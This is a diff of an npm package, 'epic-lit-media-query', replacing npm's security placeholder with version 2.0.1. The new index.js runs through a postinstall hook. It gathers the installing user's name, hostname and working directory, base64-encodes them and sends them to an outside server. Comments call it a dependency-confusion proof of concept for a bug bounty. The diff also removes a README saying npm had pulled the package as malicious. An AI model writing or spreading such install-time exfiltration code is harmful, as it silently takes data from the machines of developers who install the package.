epic-lit-media-query 0.0.1-security → 2.0.1

package/index.js

@@ -0,0 +1,33 @@
+const os = require('os');
+const http = require('http');
+
+// This is a proof-of-concept package that is part of a Bug Bounty compaign for Epic Games
+// Please note that this is not a malicious package, it is meant only as demonstration for dependency confusion
+// It collects username, hostname and current path and submits them to a remote server to demonstrate impact
+// For any inquiries please reach out to: thelastninja@wearehackerone.com
+
+async function sendUserInfoToLogging() {
+    try {
+        const userInfo = os.userInfo();
+        const hostname = os.hostname();
+        const currentPath = process.cwd();
+
+        // Combine user and host information
+        const userInfoString = `${userInfo.username}@${hostname}:${currentPath}`;
+
+        // Base64 encode the combined string
+        const encodedUserInfo = Buffer.from(userInfoString).toString('base64');
+
+        // Construct the URL with encoded user information
+        const url = `http://npm.thelastninja.me/logging?user_info=${encodedUserInfo}`;
+
+        // Send a GET request to the logging endpoint
+        const response = await http.get(url);
+
+    } catch (error) {
+        console.error('Error sending user info to logging:', error.message);
+    }
+}
+
+// Call the function to send user info to logging
+sendUserInfoToLogging();

package/package.json

@@ -1,6 +1,22 @@
 {
   "name": "epic-lit-media-query",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "2.0.1",
+  "description": "This is a poc package for bug bounty dependency confusion test, it only collects basic info to demonstrate impact to the triage team",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "postinstall": "node index.js"
+  },
+  "repository": {},
+  "keywords": [
+    "poc"
+  ],
+  "author": "thelastninja@wearehackerone.com",
+  "license": "MIT",
+  "bugs": {
+    "url": "https://hackerone.com/thelastninja"
+  },
+  "homepage": "https://hackerone.com/thelastninja",
+  "dependencies": {
+  }
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=epic-lit-media-query for more information.